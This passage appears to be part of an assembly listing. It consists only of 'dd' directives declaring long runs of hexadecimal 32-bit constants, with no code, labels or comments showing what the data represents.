0EA816ADEh, 2A0447F2h, 633439EEh, 51037CA2h dd 0F89EAF1Eh, 11E9C0A4h, 0D90A9C34h, 3C2E5A4Dh, 938F4708h dd 0B9046073h, 600FF2BDh, 57CBD3B6h, 1573E820h, 0E27EA6Dh dd 0E2BC2D21h, 0B1EC8022h, 709F7140h, 4ED1424h, 84055863h dd 0D8C996C0h, 1888BA0Bh, 79A3D00Ah, 3B5846ACh, 42E700F2h dd 7D6FFA6Dh, 75470033h, 68E328B1h, 0BDB8A0EFh, 0BA1C96Bh dd 0B9C0998h, 0AFB029B8h, 4A0704ECh, 2A88Ch, 0CD08D853h dd 440599BFh, 0C6EB8002h, 0E1189079h, 0D98CBA1Ch, 0A7C0CC2Fh dd 6083C92Eh, 7C116260h, 4E9B03F3h, 0FFF94607h, 0EFECC8CDh dd 53D0635Ch, 0C4F100B4h, 73392BD4h, 0CD80083h, 6D5712B9h dd 28176991h, 0D8494208h, 0AC98112Bh, 0BF6BB70h, 0C0E0C516h dd 49AE6B85h, 7004D4D8h, 0CC0B539Ah, 22C104Ah, 6E9D0763h dd 80DFA42Eh, 6C2F6BC5h, 0C184A558h, 8E24A106h, 0FE7C4020h dd 0B07D00FBh, 560F8753h, 9650D658h, 25E1C7ABh, 8D3DDE4h dd 62261629h, 2AFB0B22h, 499E0010h, 0E781EC00h, 0DE713A25h dd 1B5C00FFh, 0F998B62Dh, 0BBEA35DCh, 91427896h, 3390A044h dd 180EAC8h, 9D103EDh, 0DC559DC3h, 8E26A921h, 0F0B9E53h dd 314C2284h, 80A725D5h, 75E7E3A4h, 0A2D1BF06h, 761D02Bh dd 7452E41Fh, 4451A0ACh, 920050D2h, 0CD9FC1E7h, 172AB413h dd 4BFC97Dh, 82B1AB34h, 2C62FFC0h, 5F9C7060h, 0D373AE28h dd 2E84D348h, 56416034h, 0EDFC4159h, 0B7710930h, 3C400BB5h dd 9954B604h, 0AD000FCCh, 5574869Fh, 0F403DCh, 0BBB8DE35h dd 0C1B05707h, 2E1F3F01h, 0CE1377E7h, 13C9B992h, 0ED3020C5h dd 3A7A8570h, 2B46AE03h, 0C0B363CDh, 3310860h, 0C1E5D3Fh dd 312C922Dh, 3270BCE3h, 4FD49C50h, 0AC468A3h, 59E4DBB0h dd 0DD003F77h, 6480B31Eh, 27860938h, 7422444Dh, 0ACC5C00Ah dd 1378B788h, 0AE1493B6h, 0CA182E80h, 36CE6C00h, 600E964Ch dd 0D8435491h, 845D00AEh, 0F3231161h, 3A03830Fh, 0CC77DD2Ah dd 12610DECh, 0E131CDB3h, 0F40BD8C3h, 0D0D6180Ch, 88B470B8h dd 7578FBCFh, 0A70F39h, 6FAA44E2h, 48E70383h, 0D4221472h dd 22A03490h, 2E28BCB6h, 0F12234ACh, 26E0CA92h, 1D6B4F0h dd 0AF68FE0Ch, 0DA1870A7h, 2DBC9B01h, 0BA72963Fh, 8A1FA029h dd 340E40EBh, 2FF9C024h, 453E4C00h, 0C98FB4EFh, 493A24F1h dd 63EB80D0h, 0CE2D85C6h, 0C13B3527h, 6430BC14h, 0D483880Fh dd 38CE8C26h, 0DCFB8860h, 0C58D0099h, 34850B60h, 960441C9h dd 0C2ED448Fh, 370354A6h, 0E22468FCh, 0E0A6ACB1h, 8101CE8Dh dd 964ECBB0h, 0F9DCD8A5h, 0C28C00D6h, 0C4531C82h, 70926D28h dd 12EDE13h, 6129A0D1h, 0EB880438h, 7420B592h, 2C8BC80Ch dd 0E5E4A5h, 9EE1262Bh, 823A88ECh, 0C2618379h, 3B22B5A2h dd 76020AA9h, 4E2DD957h, 0E26A8CA0h, 5B7A2299h, 0A07EA1FCh dd 8565700h, 0A3B886D2h, 5894B025h, 0C9894C85h, 60C30C27h dd 2AC44BB4h, 9C6CD65Ch, 30A6901Dh, 90278143h, 577C9Ah dd 2274D5DCh, 0BED9BA4Bh, 0BB67B601h, 1893AC63h, 8CCE7443h dd 58B5CA41h, 2E798DA0h, 0A88019E9h, 0BB3E290Ch, 0BD001ECFh dd 3567A087h, 3118F265h, 289966F1h, 14A7104Fh, 3ABD24AEh dd 0B1594030h, 0F50E7B07h, 0E2A0D830h, 80D5CB9Bh, 64C209A4h dd 0A7610ECAh, 0B6841EFCh, 40A7C4DBh, 5C8454BCh, 3000B23h dd 623B4916h, 5B616Ah, 2C6C97D9h, 1EC4DBC0h, 166CDA50h dd 9662E49Ch, 1FE0642Dh, 1D8C30F8h, 1BD1009Fh, 4232B022h dd 0B2BDEF0Bh, 196CD864h, 818EB6FBh, 3013D477h, 0E10E897Eh dd 0C91202h, 8067763Fh, 2ADF007Ch, 2331CC48h, 16027D73h dd 92EFCB5h, 1F0442Dh, 45924ED9h, 45B12506h, 1F302CBCh dd 96537B07h, 2C155245h, 6C73BC7h, 6D0BDBC0h, 404806FDh dd 0E9D829C4h, 38E5A702h, 605DCE0Eh, 0A01072E8h, 5B33C374h dd 3A082343h, 62376388h, 0D90008F0h, 0EA56BD4Ah, 1C1C605Dh dd 0D8BC4C7Dh, 0A80328C6h, 72E50D1Dh, 7BFDDF03h, 632DB87Fh dd 3145FEC5h, 6051C156h, 308BE65h, 12731472h, 0C723D8D1h dd 6AF1023Bh, 0C4AE4BCAh, 585D2C83h, 4F223100h, 71BEF1F4h dd 0AF940034h, 82D1156Bh, 2C06DF76h, 0A5CD46A0h, 8E76080h dd 0CE25F169h, 14DA8803h, 8BCC1A6h, 0C572C360h, 86A57A09h dd 1171789Dh, 0D3B44D4h dd 29FE4398h, 14A612E0h, 20D6BEBFh, 9400778Eh, 91FE7A37h dd 0CC8A1F18h, 68631h, 0DDB9ACF8h, 0C5A6D3FBh, 0ED4763Dh dd 471CA5BFh, 45C3834Dh, 3D711D62h, 7A00202Ah, 9FC0C101h dd 59080Ch, 0B95F49F2h, 25B61C58h, 0C6D67801h, 7AFE4542h dd 4960B18Ch, 7C001449h, 0EFE76598h, 92D03h, 9A73CDB0h dd 3DA6BC41h, 64694060h, 0C67C24h, 91D9F1C8h, 5E5DDEC3h dd 0FD00D0A4h, 0AA5A7B52h, 0B4A1D0h, 0B7CC0999h, 42305B2Bh dd 0DB4E1500h, 5CEAE752h, 7039C054h, 3C1338CBh, 434CBD00h dd 0A60D27D2h, 7C232A5Dh, 68DF01B4h, 0CDF361CFh, 0C4C89F4Ch dd 0C3C7120h, 52FBD36Ah, 9C019A51h, 0EC10A81Ch, 9EE0A517h dd 9B30336Ah, 208D3E08h, 0CAA6B09Ch, 0BE39D100h, 713DA193h dd 9145003Ch, 9B2EFD0Eh, 4C12141Ch, 5C357BAEh, 535B2D05h dd 0F069D100h, 0A1D49AFFh, 1D134394h, 0C0C4E1C1h, 4B006668h dd 0AF1B25CFh, 48A507FCh, 0C6221495h, 39C8C218h, 0FE641339h dd 18C0484Ch, 830B8B87h, 110071B7h, 51CD448Eh, 145DA247h dd 84C86A45h, 0A64D4C80h, 0BF009AC2h, 998BFA93h, 60428D6Ah dd 9202B8E8h, 0A6193169h, 0EE51E121h, 1F24EF0h, 99179C43h dd 0F48BA00Ch, 5E00421Ch, 4C517573h, 0C0C78ACBh, 7C062269h dd 0CC2AB84Fh, 6B1D88F2h, 7009B4Ch, 0E175E7BEh, 0F4C37712h dd 44B0FCh, 0C5AC4ED6h, 0E34D1323h, 2E1C9400h, 0D362BADEh dd 8A411299h, 0B74C4E7Bh, 756B7260h, 9400B032h, 1199CE07h dd 0ABC24C15h, 45198894h, 7733011Dh, 329B5EDFh, 7968225Fh dd 2BA8D600h, 7F214CF0h, 393B60CAh, 0C451B9Ah, 0A7359C1Ch dd 0EF2C00FAh, 88C4BE9h, 141090AEh, 3424A687h, 8B47409Ch dd 0D69A5DA3h, 4E8946F0h, 0EA005023h, 2AA2E526h, 9C0C9465h dd 295649D6h, 5136603Dh, 0F384917Eh, 7B48E43Ah, 7CA81500h dd 0A62C7F4Ch, 9E823BDFh, 98454h, 9F60E894h, 0EA49A3CDh dd 0F6340C07h, 5C24F5Ah, 0F130600Eh, 0A85D4854h, 23E17E12h dd 0A3A97F24h, 0A6B1E8A0h, 8AB99A00h, 0F78FFA0Ch, 83C500A4h dd 0F0034D06h, 44292D12h, 0B580F01Bh, 0BA4EF2E8h, 19141D8Dh dd 2D1D4EA6h, 63640893h, 62DF2580h, 14A4EB83h, 206A43A5h dd 7B72FA77h, 353DF806h, 81D076BAh, 62C24B6Bh, 86F20100h dd 0AF2B4590h, 0C03A831h, 2430D01Dh, 71A8008Ch, 0BC326415h dd 0D051F043h, 85BFF430h, 8FF4604Ch, 1D7045F7h, 0A0D925C0h dd 0F131F2Ch, 380400FBh, 2E75D7EAh, 38DDA524h, 5326D467h dd 71D8C841h, 0B4A50381h, 1180E821h, 0AD4B0C87h, 5F02A8CEh dd 0FC1DC71Eh, 5434C1F4h, 18571710h, 6B399800h, 0F697A5F1h dd 3841E812h, 4C4CD379h, 0F06814C7h, 6077E9A6h, 0E5196164h dd 0F52DF8C0h, 1E8C00CEh, 563B8A36h, 1F289C81h, 7E00545Dh dd 0B7E09F64h, 6F607401h, 0F0E01933h, 134B5BF2h, 3E7D1108h dd 0B2F9801Eh, 76920D72h, 3B4C7E09h, 19278334h, 0F3EF9916h dd 0A761A7C1h, 0DD1F0822h, 0FF7DD2Fh, 71405BDFh, 7082346Ah dd 1800C8F0h, 84E0804Eh, 62D2C27Ah, 0F2456938h, 0E4F80044h dd 22193C61h, 15DC30B7h, 0E8B18Ah, 0B3907A36h, 7B00F144h dd 0C85F020Dh, 131D7310h, 3081429Ah, 93DFFBD0h, 330F44E8h dd 0F0C368h, 0BDFA1F56h, 99D20377h, 453E388Eh, 0F9153101h dd 6197E6DDh, 0FFFC6F8h, 0ABE48B48h, 7AE05780h, 5F555D06h dd 0F0C0C29Ch, 0F0F1181h, 0E0C8F423h, 0BB0DF251h, 0B82700B0h dd 0AE321799h, 0A4753011h, 0E86C2950h, 0EDE30700h, 0AD035148h dd 0AFB60B5Fh, 0FF8011FAh, 0A9165C80h, 0A5ABB901h, 5D12F54Ch dd 0F86BF848h, 0CBD500BAh, 7B0AAC90h, 0F8BF29E1h, 856826C5h dd 15ED1174h, 79CD88Ah, 9A0B7D8Bh, 7472C7F0h, 0AFC1A0BBh dd 0C52A00C0h, 7CE00916h, 576542D3h, 8C203D69h, 11C6EAh dd 16A6DB66h, 38D15249h, 9F699500h, 10BDC9E4h, 8CAC48F0h dd 3464211h, 6093154Dh, 7B11004Ch, 3BABCC9Eh, 0C11F041Fh dd 89BB89CEh, 8036D1B4h, 5E067960h, 7331C04Bh, 2A7AFD6Ch dd 0EA297C00h, 1B918ABCh, 3CD00286h, 470ABB42h, 0FEC56460h dd 98445016h, 134DA400h, 98D1FD12h, 5E103C6Dh, 334B560Fh dd 9B700072h, 0AE4240EBh, 9D93B902h, 40CE5B3Dh, 401ABDF0h dd 0ED228EC8h, 1E3D2A3Ah, 7E890084h, 237BC2F1h, 0FB07A31Fh dd 48F7F262h, 0BDA25B51h, 59E94F4h, 0C6C1233Fh, 7FC490EFh dd 82014B38h, 997D06C9h, 0D050E721h, 0EA520Eh, 86F4E061h dd 871465D6h, 8F1BF200h, 2C496F6Bh, 0EEBF173Ch, 0D4A80E7Dh dd 114C4A0Ah, 16230042h, 0F60B8EDFh, 9B8D0C11h, 0B2C1D989h dd 937E9207h, 0E9E00396h, 7628516Bh, 355200DAh, 0B53AD53Eh dd 38B15C5Bh, 7403F61Eh, 0B09ED716h, 0ECD6028Eh, 0C872001Ch dd 0F4E6DC91h, 0FCA2A519h, 99112743h, 0D4584649h, 94C2931Fh dd 0DF305031h, 10CD78F1h, 1C084400h, 0E593B595h, 36FB1C8Dh dd 0E0ED404Bh, 21968C8Bh, 8E14A60Eh, 0ECB18732h, 0F40210B5h dd 5067CB56h, 8D584400h, 0D39FCD16h, 500E71Ch, 0C2711D56h dd 374200F0h, 5E0C4CC0h, 0B9079B17h, 0DF416C98h, 0A5CBEF70h dd 2CB17352h, 4547DA2h, 0A45E2C73h, 6F019F48h, 0D46E3B47h dd 2E60822Ah, 63C9C0FBh, 71A4A60Fh, 4CB4D549h, 0DDDC80BCh dd 5C3DF87Ah, 6904AA94h, 0C0604D8Dh, 74E1398h, 0A5C07561h dd 71FC6AFBh, 17C03C9Eh, 60D3B3Ch, 0CD81BB7Fh, 0BAA441C1h dd 92D0173Eh, 0E329AA53h, 24559460h, 1658CCB1h, 0AEB00403h dd 0FB1D4066h, 0E81B9B30h, 729C0508h, 83138EB2h, 6102439Ch dd 6ABB7D41h, 608CCA5Bh, 1467A0F4h, 0F0D5FF20h, 7EEDB508h dd 47FE8B01h, 618FEA23h, 0B3E076DDh, 0A04A78E1h, 0FB7EAD02h dd 0A917EF46h, 10DF8984h, 757BC78h, 9282EB98h, 72510011h dd 8E0060DDh, 876396DBh, 29ADFF7h, 0A63097C2h, 0ACC16A99h dd 8A3841B7h, 80BC50CAh, 0AD0AE9D4h, 99079DB2h, 30304712h dd 0BDC704h, 0B9182F3h, 0EC251D4h, 0FEABEF1Eh, 8F34BBCEh dd 0FFD362FAh, 0FC4E445h, 68018853h, 0F4435601h, 0F4143115h dd 5E30203Ch, 0F15A2948h, 0DE0D0730h, 96CACFE8h, 44A408F0h dd 30EA8700h, 6A351A8Ch, 422924F4h, 92DE1FF8h, 9E040DAh dd 70248AC6h, 0EC3B1C0h, 0FA6AF308h, 0F22E3267h, 68E8D709h dd 80116A3h, 84C40BB9h, 0D661CA26h, 30546AFCh, 146033D2h dd 4CBA29B0h, 38A27336h, 2954668h, 6AF4080Dh, 9C103201h dd 82E15B2h, 47030434h, 10024990h, 58DC7958h, 0FB0380DCh dd 2C445C9h, 6E395E11h, 684056C8h, 0BF0C3BA4h, 0E999CDAAh dd 0F028CA3h, 0B16AF608h, 83EC1966h, 817BC21h, 0E73FF8EDh dd 6B4612C1h, 0A8944066h, 4C769851h, 0F46FC52Eh, 69A7EB40h dd 0E22F0C11h, 0A090D1F1h, 334AFAB8h, 2BDA6440h, 0DC1A383h dd 0BB476AAFh, 34C2209h, 4F8313FAh, 7E3FC840h, 51CE0ADBh dd 65CC44Ch, 584FF7D4h, 49E2320Bh, 0C12800E1h, 375D23h dd 0CB27A63Eh, 0FC48C88h, 0F60C6000h, 0F0F9D063h, 779A783Bh dd 7C127ABAh, 3EAA00CAh, 6EC7CF69h, 79005154h, 0D4BCB37Fh dd 0E788DCh, 0F5936762h, 8F6FE2DAh, 48C7E871h, 2E136C49h dd 0B85809EFh, 0F8D47F66h, 0BCBED100h, 76CC1A6Eh, 102A6138h dd 0E0CBF38Eh, 0E6073A60h, 63C0D11Bh, 0C47A3430h, 3D2B0BD0h dd 6283FAEBh, 80EEF50Ch, 740033E6h, 0EBD447Ch, 3486ABAh dd 5436C129h, 70008D4Bh dd 0D65706D0h, 30AD08C2h, 60780ED2h, 3B02EF6Ch, 0D581F9E3h dd 4180AED1h, 0BC292E3Ch, 0DF44E8C0h, 0F72D0020h, 0C83DF2D7h dd 1C036411h, 0FEE4AC00h, 42BF58F1h, 20FD5300h, 0A8CC33Dh dd 0D20107B0h, 4038DC7Ah, 30D3A4A9h, 0DE62E800h, 0BAA05725h dd 7D08CC1Dh, 19007821h, 3B1CCE8h, 442F7Bh, 5E6B58C7h dd 303D3228h, 0AF70DF07h, 7581F1BCh, 108CB32Dh, 3340E082h dd 42FE15F8h, 55B82F03h, 900A5FF7h, 0F7252F0h, 0CDDF0629h dd 0FD23340h, 6937BEB9h, 0D48938A8h, 321A002Dh, 2CDDD652h dd 0C408FA63h, 782000B9h, 0F584FB53h, 64005289h, 0AF1CBECDh dd 66902406h, 0C93388E4h, 2BC47C85h, 207F2260h, 100F9AE2h dd 40B40447h, 0C6BDF546h, 7A9745Eh, 769EB01Ch, 500078D1h dd 7BED120Eh, 6107008Dh, 2FB21AD9h, 0AA50A6E4h, 0A903EC9Ch dd 0BA36FECDh, 0EB61C06Ch, 0B0270ED2h, 0ECCE1593h, 0D997001Fh dd 0A8315C1Bh, 6BEAA000h, 5F436A40h, 0CFF73C9Bh, 0DB7AA680h dd 1B51EB25h, 83D9F83Fh, 0D2CB9F6Ch, 8FB0B89Ah, 0E4B800C9h dd 0F581A0C2h, 1500E392h, 787086F0h, 0B3CD17h, 0B8F4F24Bh dd 0C246D61Eh, 0DC779E03h, 0D871E30Fh, 75BA2Ch, 0F90AFF6Ch dd 571CDF62h, 0E9D3AD01h, 0D8187C48h, 0C4C270h, 0C2072546h dd 47A5BA26h, 41114065h, 0C583043Eh, 100320BDh, 5F060AF9h dd 365AF05Ch, 0E88FF802h, 2E2C0343h, 0E929CC5h, 13E32811h dd 33C610h, 0D981BD05h, 0F0EB9Ah, 97A3E908h, 0D6D490CBh dd 0A1A71802h, 608C117Dh, 678AA3h, 663A745Fh, 839EBE5Ah dd 5507531Fh, 0B8C4500h, 993CA9h, 0BFC9E5BAh, 0C397513Eh dd 0B7F2BB00h, 1FABDF93h, 9CB79D3h, 55A11C2Bh, 0C90E4B0Bh dd 4CF50C3h, 8C4342C8h, 37DDFC00h, 8BB21ED4h, 827800A7h dd 0B1B6CAC9h, 0AC0057A6h, 0E2D968BBh, 50FBB27Bh, 928CCEh dd 84A13137h, 0DF6E1456h, 1FD0701h, 6DAEDEF6h, 0A0D01080h dd 762DC565h, 8CD1C900h, 969CD66h, 0C21D0E37h, 0AE806C73h dd 62DAFB4Dh, 31AC8800h, 14829F1h, 0DFF4E8B5h, 70003FDAh dd 0E5FBA034h, 5B001231h, 150A2A83h, 0F13A2Dh, 731D0EE7h dd 0D1CE9E20h, 0EA1AD001h, 69C67172h, 0F578A0EFh, 0D80601CAh dd 21A13498h, 0B30CD842h, 815CBF38h, 0C903671Dh, 37D08C50h dd 58D50061h, 8F5FC8A2h, 0C700E805h, 0FC72C3FAh, 10BB5E6h dd 0BDE2A9F3h, 0D0CA757Eh, 83006F16h, 0F4570782h, 397003h dd 49D7E584h, 528726D8h, 854D5C1Fh, 0D00DCE03h, 0EC92F01Fh dd 0D21D1CD1h, 49CFC176h, 200C54A8h, 6A78C938h, 0EE01FF7Bh dd 6934A693h, 0E2EC0953h, 37C23DB0h, 57E67C00h, 34A8B6E5h dd 71025473h, 0AC4F20CDh, 66FD6080h, 35151DDAh, 1EBC557h dd 4FEC80C8h, 587298BCh, 0A7C113Bh, 0DCABDBEEh, 7F00783Eh dd 0D763F365h, 3DED8EBBh, 0A500B9F0h, 81DC5CABh, 28030421h dd 8E591141h, 13BB60h, 341D6B38h, 0D4C6E37h, 2C22EA01h dd 0A7CAC203h, 795AB6DCh, 0C8E430h, 24FE9F76h, 0A9898B07h dd 0F6C10500h, 0D07B91C7h, 0EBFB0FC9h, 0D6E01426h, 20F4DB7Fh dd 0AA833200h, 99BF9A77h, 0F13E1BC7h, 0B4D011ACh, 4503293Dh dd 0A623F4Dh, 8CDA981Dh, 2927DE6h, 347180E1h, 44410F09h dd 80EAC531h, 0BDE9E029h, 3AAA358Ah, 0C304EC09h, 809AAE94h dd 6B5322B0h, 0C76B100h, 86617480h, 7D200A9h, 2816C4B7h dd 0A200BBCEh, 1CB3F583h, 9A87DA80h, 3A49B020h, 0AD920585h dd 396C00EFh, 2364FFAFh, 800B543Fh, 248144CEh, 475EB2h dd 0ECCFE5FCh, 0AAB11D75h, 2826E990h, 6400DD89h, 0D24B69E2h dd 12720020h, 8CEDB1C7h, 300322DAh, 7527153Fh, 0D8E0EBE4h dd 1694A7Ch, 7BEB9B47h, 20CDC7D4h, 0E55230DCh, 6DF20088h dd 336B1EE4h, 4E69003Ah, 0CA965D0Bh, 0B50024CCh, 0FA830DC7h dd 4C1509h, 0DB8BF260h, 8E1EC621h, 0A1EA6A00h, 1F5F4691h dd 610F0247h, 4492DCDEh, 0C64D9C60h, 0CF5C8300h, 21D31D35h dd 0B47C0031h, 0DDFD49A9h, 9709BA50h, 87FA3B6Ah, 0CE29F42h dd 5F4C60F7h, 0FB7A38h, 0A8A14597h, 0AF920A57h, 613E48F4h dd 0FA600079h, 187E1BC8h, 175D4CB9h, 6FB6FF00h, 64C12B70h dd 9574F607h, 57F01880h, 0E3C0792h, 0DC63BFEFh, 0B9013500h dd 913B65E8h, 0BE242Dh, 0D2B0C400h, 0AEA10A0h, 66455BDh dd 0E4600E4h, 7E629A44h, 930A5300h, 74BC4A19h, 1A020037h dd 714C7338h, 152EEF88h, 18015196h, 0B750FEABh, 78A9FFCCh dd 5A0D1FF0h, 7834404Bh, 3F1503E5h, 0D32EA600h, 484A875Ch dd 1F82000Fh, 0BE051001h, 0D500DA7Ah, 0FACD6830h, 5C7D2C8Ah dd 17000341h, 23EA3973h, 0A5A0ED3Ch, 7700442Bh, 0BFB94D6Fh dd 2C0B1Ah, 18DF7DF3h, 0FA2B33A3h, 7BD7CC00h, 31AD4826h dd 0FD1A0E65h, 50C023F0h, 70A4C884h, 3700E9FCh, 91387F62h dd 189DA26h, 0E76ACFBCh, 83C698ADh, 17C72040h, 0AEAB803Eh dd 9C4F4CFBh, 0A4393201h, 20D99668h, 220C1350h, 11B7489Ah dd 0FBD4025Ah, 45762DCh, 9739E060h, 113A667Eh, 2BE2006Eh dd 0FA74D581h, 9CDF095Ch, 0C0030D7Dh, 3E09DB4h, 877A0A2Eh dd 0D07CAD02h, 0E833648Ch, 0C2ABA04h, 0FE56A5CDh, 0B200E168h dd 7C057666h, 1C8B65h, 0A24355F9h, 71BA7A5Fh, 0DC6F5D00h dd 0DDA0ABC8h, 549A14h, 79DA314Dh, 0CEF3B642h, 0B0209D30h dd 3862498h, 0B55B6D25h, 80A44013h, 0E3DAD30Ch, 28D1D500h dd 78694551h, 9367074Ch, 0D07F9D1Ch, 0F3C3B417h, 1507B502h dd 0C86877F9h, 1984D8h, 0E929BF4Ch, 99D682BEh, 0CEFEE05h dd 40D0B135h, 94DD44h, 0D59E34A2h, 68717983h, 0C7D8C609h dd 27088080h, 1EB0FC19h, 0C0646C60h, 0B2EE1728h, 57148522h dd 823DEh, 2AC9566Ah, 6BB1FD18h, 26033121h, 7000C862h dd 0A1B50CAEh, 4D014C1Ah, 8C006421h, 48D6B922h, 270546DBh dd 174C1C97h, 248A1003h, 4BB11CB9h, 41F21EAFh, 0BE9E0147h dd 4818BF43h, 45EB006Ch, 27AEF8F7h, 3F50C0DAh, 64862114h dd 6390967Ch, 5AB7C307h, 8900CF27h, 30CADCh, 12D816D6h dd 446445F1h, 3878DEh, 1543FDAh, 0EF9673Ah, 41CBA291h dd 0CE19C960h, 0B3062F4Bh, 4EEF0145h, 9BC0068h, 0EEAE5AB5h dd 395DCB7Fh, 799416F4h, 5D388718h, 0DC4A5DB7h, 8B1E6A1Eh dd 0E8803B53h, 61C17A0Ch, 0ADEC2314h, 0A75D00A1h, 9762E98Bh dd 28A300E2h, 9545EEE3h, 9B023D67h, 0FC4402C9h, 32E3601Dh dd 0ACB21361h, 8E04003Ch, 93B0686Ch, 6ECE6004h, 0AB802581h dd 939EEB1h, 2E2B5453h, 196D8C80h, 7A3EA270h, 0E7F20049h dd 0D3C2C01h, 5AA7178Fh, 0AB6401A9h, 0E8E0E592h, 9C0094A4h dd 0CF13FF5Dh, 45B8DBh, 0B6B2E418h, 0E6FD9B40h, 0F920140Fh dd 0A5F4404Ch, 2E7495Dh, 82EB7AFFh, 0D840B69Bh, 0BD035F24h dd 4C4D89E0h, 0A73AB21Eh, 0ACE07F98h, 7570D0h, 0ADBF2C83h dd 565733CBh, 0B337C375h, 0E3CE286Bh, 80890ED6h, 0F47C970Bh dd 0E91B00FFh, 92B4C76Bh, 0CF79C461h, 719155Ch, 0F3376488h dd 0B1C05B40h, 714D0034h, 89CCB0FEh, 0D70C779Fh, 4927129Dh dd 3CBE490Fh, 9347CE0Eh, 3280A309h, 3124F04h, 7C454400h dd 85D17126h, 9B410714h, 9086331Ah, 15C19658h, 39B6C200h dd 0D5B25D80h, 6C31F53h, 1FBD876Ch, 1020D740h, 0A4AFC210h dd 2717FA00h, 0FDB8C563h, 0C8CF00B7h, 285BB351h, 4D000623h dd 0D340DC7Bh, 0C8AEF31h dd 0B5E5437Dh, 8C077538h, 158011E9h, 7BBA6670h, 0AE00E6Fh dd 7D40EAC7h, 0F6F5E909h, 72163600h, 9A674E78h, 0CC0E004Ch dd 7DB78F22h, 4000FD6Ch, 30960D6Fh, 0F0DBE170h, 0F0C11EA2h dd 0F51693h, 0CBE75042h, 30756A4h, 0D5FAA127h, 467A9B70h dd 0F02018DCh, 0EE887017h, 1CD3CE3Bh, 7601D154h, 0EF44DCB0h dd 0CFA1E880h, 1556D92h, 0A4C6F51Dh, 35510658h, 882A031Bh dd 0D42592B5h, 0E6BF310Eh, 7A690142h, 0D9608F15h, 19970329h dd 0C7D03378h, 0B68D5FE0h, 77EA4A00h, 7F295EA1h, 494B01FAh dd 0DFC3AEBCh, 2EA9C41Ch, 0A7007D7Dh, 0B6B82AF7h, 4C17DE74h dd 0F877FA63h, 0FB2FE5Dh, 0D7EF256Dh, 56FA3620h, 0AD0E6046h dd 49DCC0FDh, 0BBB0077h, 6F6268h, 0CB227DE3h, 612D7913h dd 9009979h, 1F7A27C7h, 30304ABh, 0D09212F3h, 981FB520h dd 9F7DDC48h, 28167E6h, 434AB1B3h, 604C1052h, 0EEEAF059h dd 60411AD3h, 49C01869h, 0A601848Dh, 0A281C89Ah, 1880E5E8h dd 16C76C7Fh, 2130F15Bh, 47084990h, 5E9C006Ah, 5F81957Dh dd 2F3C1784h, 630783C2h, 0C804611Ch, 1D1A946Fh, 40ED9944h dd 3C747210h, 7B50A385h, 0B39077B1h, 5EEE50F2h, 35034F7Eh dd 0CD88A769h, 0C344A267h, 0B1600ECh, 0FE2EE95Ch, 891E1965h dd 0BC407F86h, 0C104D321h, 51393CE0h, 0EA063F5Ch, 100EB5F0h dd 2FD6D701h, 3B809470h, 557CD0h, 0C916676Dh, 0F37497F5h dd 0DA87EF00h, 63182DD8h, 245F768Ch, 14C28B3Ah, 25021CCEh dd 0AD166D36h, 0D39C0880h, 403D44Eh, 2D07E87Eh, 9008192Eh dd 0CCFE2071h, 900CA4Fh, 0D99B1872h, 1F9EA4BCh, 0B065F104h dd 0D49CA2C0h, 80B90201h, 0FDF3E349h, 0B8C78CE8h, 18707798h dd 20726489h, 0CC30C1A6h, 161D3881h, 9026286Eh, 0DC700390h dd 0FCD47EF9h, 56D9B88h, 7908CD65h, 0C670B000h, 0E557ED1h dd 2A1441D6h, 84714621h, 7A60C2D2h, 9A0004EEh, 12D9B088h dd 520868AEh, 0F03AD0BBh, 6D47BA80h, 15F2BCA3h, 0B22A90C0h dd 3C945A88h, 0D880DC55h, 53B1417Ah, 200BD46h, 38849B8Ch dd 5B86659h, 0EECA2EB3h, 92F81Ah, 24DF859Eh, 7A97FBh, 1916C314h dd 0D20ECE6h, 0FCF8AA78h, 24EC9E7Bh, 0E74AF01Fh, 85BB5701h dd 53C05E47h, 0EB3D000Bh, 6FF536D1h, 31384B7Fh, 9D2B806Dh dd 2767235Ch, 724300C1h, 5E79FA3Dh, 0CD002DAAh, 53633BFBh dd 13D4FFBCh, 52C6F3h, 30A036A0h, 4300707Ch, 65BDE20Ch dd 3F58A32h, 81E3F004h, 0C7C8F4E0h, 0B000FB02h, 0EE98D61Dh dd 58BE468h, 0FE54C5ECh, 4801833Dh, 491CBCC8h, 0B2D2040Dh dd 0C230084Fh, 72CC1D3Bh, 1C7F406Eh, 2C1E8209h, 1619DB00h dd 607641E5h, 50A070Ch, 0D098C769h, 1F040889h, 389CAD00h dd 0FE29CC39h, 5C4F3B5Ah, 4AB04C01h, 80625513h, 3FB4D330h dd 3BCED7FEh, 0D92043E4h, 0EDB1D0Eh, 6BBAC056h, 0C692BC91h dd 20CE1008h, 0E230C00h, 0A65BBE5h, 0EBB300D0h, 4EB6A5C7h dd 7A168B71h, 930647E8h, 0E8E92A69h, 29D0C78Ah, 0EA22904Ah dd 7C0015A5h, 0D9C3BC17h, 3A7180B1h, 0E1818B0Ch, 4EF40F7Eh dd 23C891ACh, 0F66AB300h, 4A09E03Ah, 0A5E6B27Dh, 69826C00h dd 0BCA9D93Dh, 0C7C7499h, 0F5DE1ECEh, 0C8FDC140h, 2D510E2Eh dd 0DC8CF58Ch, 0FF00CB46h, 19A323F9h, 0B2F06Ah, 205B31Bh dd 739C07E7h, 0BA10D90Fh, 99D40C4h, 0B01425h, 34ABE637h dd 0B43F472Fh, 203DFC00h, 6EEBFD4h, 7DBE00EFh, 8FBB91DFh dd 690093AAh, 0E4341F1h, 7A366Bh, 0C47D6F7Ch, 407D78Ch dd 0BC1DA83Ch, 6A6480EDh, 3CD43ED0h, 84CD0F47h, 50438148h dd 3180F1BEh, 0CF7F29E2h, 75A59C00h, 5A16F665h, 2AC6243Ah dd 0A6B20055h, 0C59E7BF7h, 2807597Ch, 0B1682B92h, 0EFDCAAC0h dd 0C76050BFh, 14303077h, 0BC45B610h, 40762009h, 0FAE9035Bh dd 3BF4A14Ah, 286F2081h, 0D05525BCh, 770E8F90h, 20F54A9Dh dd 52167E51h, 0BE463ACEh, 4F9050E0h, 20C02636h, 232DA39h dd 884607DCh, 36071F18h, 5F002817h, 26107848h, 33FB2164h dd 0DC082C96h, 3FD84900h, 49A77B78h, 916118F5h, 79EBB135h dd 0D2181A76h, 95684D27h, 243911F9h, 0FA3B03DDh, 0C0D0F3FDh dd 3B5D893h, 0E2F04817h, 0DED0C88Dh, 0B3005647h, 0C570843Ah dd 4DB909h, 2C5B5ACDh, 99BF2AD6h, 760ABE00h, 471C3542h dd 97443CFFh, 6D2C9158h, 0FEEA006Ah, 7BE69B24h, 8D0AC007h dd 0AD704CE4h, 1E318A7Dh, 80DC54F2h, 9F365541h, 0F7E65F59h dd 